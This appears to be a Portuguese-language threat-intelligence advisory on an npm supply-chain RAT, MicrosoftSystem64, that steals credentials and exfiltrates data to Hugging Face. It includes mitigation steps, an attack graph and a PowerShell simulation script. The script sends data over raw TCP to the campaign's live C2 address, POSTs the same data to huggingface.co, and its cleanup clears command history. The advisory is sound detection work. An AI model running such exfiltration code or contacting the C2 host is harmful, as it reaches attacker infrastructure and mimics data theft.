SOC Prime Bias: Critical

03 Jun 2026 16:20 UTC

MicrosoftSystem64: Um RAT da Cadeia de Suprimento Exfiltrando Dados para o Hugging Face

Author Photo
SOC Prime Team linkedin icon Seguir
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Um pacote malicioso do npm chamado js-logger-pack foi usado para distribuir uma aplicação Node.js cross-plataforma chamada MicrosoftSystem64. O binário funciona como um trojan de acesso remoto completo, capaz de roubar extensões de carteiras de criptomoedas, credenciais armazenadas em navegadores, chaves SSH, dados de sessões do Telegram e capturas de tela. As informações roubadas são exfiltradas através de conjuntos de dados privados do Hugging Face usando um token de API comprometido, enquanto o tráfego de comando e controle é gerido por meio de um servidor WebSocket em 195.201.194.107:8010. A campanha foi vinculada a um ator de ameaça associado à Coreia do Norte que alterna contas do npm e Hugging Face para preservar o acesso e sustentar as operações.

Investigação

A SafeDep analisou a amostra de malware e extraiu sua configuração criptografada com XOR, endpoint de comando e controle, token do Hugging Face e uma lista de mais de 80 IDs de extensões de carteira alvo. Pesquisadores também revisaram os métodos de persistência utilizados em sistemas Windows, macOS e Linux e reconstruíram toda a cadeia de exfiltração envolvendo APIs do Hugging Face. A validação ao vivo em 28 de maio confirmou que os conjuntos de dados ativos ainda estavam recebendo capturas de tela e arquivos de credenciais de vítimas reais.

Mitigação

As organizações devem imediatamente remover quaisquer pacotes npm maliciosos conhecidos vinculados a esta campanha, substituir credenciais comprometidas, chaves SSH e sementes de carteiras de criptomoedas, e monitorar atividades não autorizadas na API do Hugging Face. Proteções de endpoint devem detectar o nome do processo MicrosoftSystem64 e qualquer criação de tarefas agendadas relacionadas. Controles de rede também devem bloquear o tráfego de saída para o endereço IP de comando e controle identificado e restringir acessos inesperados aos endpoints do Hugging Face a partir de binários desconhecidos.

Resposta

Se o MicrosoftSystem64 for detectado, isole imediatamente o sistema afetado, encerre o processo malicioso, remova arquivos instalados e tarefas agendadas, e revogue o token comprometido do Hugging Face. Os investigadores devem coletar evidências forenses de logs e caminhos de dados exfiltrados, então notificar as partes interessadas relevantes e atualizar ferramentas de escaneamento de dependências para bloquear os pacotes maliciosos em builds futuros.

graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9966 classDef infra fill:#ff9999 %% Tool and malware nodes tool_npm[“<b>Ferramenta</b> – pacote npm `js-logger-pack`<br/><b>Descrição</b> Contém binário SEA `MicrosoftSystem64`”] class tool_npm tool malware_binary[“<b>Malware</b> – Binário `MicrosoftSystem64`<br/><b>Descrição</b> ELF multiplataforma empacotado como SEA Node.js com configuração XOR criptografada”] class malware_binary malware infra_c2[“<b>Infraestrutura</b> – C2 WebSocket<br/>IP 195.201.194.107 porta 8010”] class infra_c2 infra %% Attack action nodes init_supply_chain[“<b>Ação</b> – <b>T1195.001 Compromisso de cadeia de suprimentos</b><br/>O atacante publica o pacote npm malicioso `js-logger-pack` contendo o binário SEA”] class init_supply_chain action execution_ingress[“<b>Ação</b> – <b>T1105 Transferência de ferramenta de entrada</b><br/>A vítima instala o pacote que executa o binário Node.js incluído”] class execution_ingress action defense_obfuscation[“<b>Ação</b> – <b>T1027.009 T1027.004 Arquivos ou informações ofuscadas</b><br/>Binário empacotado como ELF SEA com configuração XOR criptografada”] class defense_obfuscation action persistence_mechanisms[“<b>Ação</b> – <b>T1547.001 T1547.014 T1543.001 T1543.002 Persistência</b><br/>Cria chave Run no Registro, Active Setup, LaunchAgent macOS e serviço systemd Linux”] class persistence_mechanisms action defense_hide[“<b>Ação</b> – <b>T1564.014 Ocultação de artefatos</b> & <b>T1497.002 Evasão de sandbox</b><br/>Usa atributos estendidos e verificações de atividade do usuário”] class defense_hide action priv_esc[“<b>Ação</b> – Escalonamento de privilégios via mecanismos de persistência<br/>Reutiliza chave Run ou serviço para obter privilégios elevados”] class priv_esc action cred_browser[“<b>Ação</b> – <b>T1217 Descoberta de informações do navegador</b> & <b>T1555.003 Credenciais de navegador</b><br/>Coleta dados de Chrome, Edge, Firefox e extensões de carteira crypto”] class cred_browser action keylogging[“<b>Ação</b> – <b>T1056.001 Keylogging</b><br/>Keyloggers nativos registram teclas e clipboard em Windows/macOS/Linux”] class keylogging action collection_clip_video[“<b>Ação</b> – <b>T1115 Dados da área de transferência</b> & <b>T1125 Captura de vídeo</b><br/>Capturas de tela a cada 60s e monitoramento de clipboard”] class collection_clip_video action collection_db[“<b>Ação</b> – <b>T1213.006 Dados de repositórios: bancos de dados</b><br/>Extrai arquivos DB, chaves SSH, Telegram tdata e outros repositórios”] class collection_db action c2_communication[“<b>Ação</b> – <b>T1105 Transferência de ferramenta de entrada (C2)</b><br/>Comunicação com WebSocket C2 em 195.201.194.107:8010”] class c2_communication action exfiltration_hf[“<b>Ação</b> – Exfiltração via API do HuggingFace<br/>Envio de dados roubados para a conta `jpeek998`”] class exfiltration_hf action impact_resource[“<b>Ação</b> – <b>T1496.001 Sequestro de recursos</b><br/>Roubo de credenciais de carteiras de criptomoedas para uso ilícito”] class impact_resource action %% Connections showing flow tool_npm –>|entrega| malware_binary malware_binary –>|habilita| init_supply_chain init_supply_chain –>|leva a| execution_ingress execution_ingress –>|leva a| defense_obfuscation defense_obfuscation –>|leva a| persistence_mechanisms persistence_mechanisms –>|habilita| defense_hide defense_hide –>|habilita| c2_communication persistence_mechanisms –>|habilita| priv_esc priv_esc –>|leva a| cred_browser cred_browser –>|leva a| keylogging keylogging –>|leva a| collection_clip_video collection_clip_video –>|leva a| collection_db collection_db –>|leva a| c2_communication c2_communication –>|usa| infra_c2 c2_communication –>|leva a| exfiltration_hf exfiltration_hf –>|resulta em| impact_resource

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check de Telemetria & Baseline Pré-voo deve ter sido aprovado.

Racional: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para desencadear a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa do Ataque & Comandos:
    Um atacante já instalou o “Microsoft System64 RAT” no host Windows comprometido. Para exfiltrar dados roubados, o RAT executa duas ações paralelas:

    1. Canal de C2: Abre um socket TCP bruto para o servidor malicioso codificado 195.201.194.107 na porta 8010 e transmite dados codificados em base-64.
    2. Exfiltração HTTP Oculta: Emite um POST de HTTPS para https://huggingface.co/api/upload com os mesmos dados embutidos no corpo do pedido, usando um user-agent legítimo para se misturar com o tráfego normal.

    Ambas as ações geram eventos de firewall de saída que correspondem à regra Sigma.

  • Script de Teste de Regressão:

    # -------------------------------------------------
    # Simulação de Exfiltração do System64 RAT (PowerShell)
    # -------------------------------------------------
    # 1. Preparar dados falsos para exfiltração
    $data = "SecretData$(Get-Date -Format o)" | ConvertTo-Json
    $b64   = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data))
    
    # 2. Enviar dados via TCP bruto (C2)
    $c2Ip   = "195.201.194.107"
    $c2Port = 8010
    try {
        $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Ip, $c2Port)
        $stream    = $tcpClient.GetStream()
        $bytes     = [Text.Encoding]::UTF8.GetBytes($b64)
        $stream.Write($bytes, 0, $bytes.Length)
        $stream.Close()
        $tcpClient.Close()
        Write-Host "[+] Exfil extra enviada para $c2Ip:$c2Port"
    } catch {
        Write-Error "[-] Conexão TCP falhou: $_"
    }
    
    # 3. Enviar dados via HTTPS para HuggingFace (exfiltração oculta)
    $uri = "https://huggingface.co/api/upload"
    try {
        Invoke-WebRequest -Uri $uri `
            -Method POST `
            -Body @{ data = $b64 } `
            -Headers @{ "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } `
            -UseBasicParsing
        Write-Host "[+] Exfiltração HTTP enviada para huggingface.co"
    } catch {
        Write-Error "[-] Pedido HTTP falhou: $_"
    }
  • Comandos de Limpeza:

    # Remover quaisquer artefatos de rede remanescentes
    Get-NetTCPConnection -RemoteAddress 195.201.194.107 -RemotePort 8010 |
        ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
    
    # Limpar histórico do PowerShell (opcional)
    Clear-History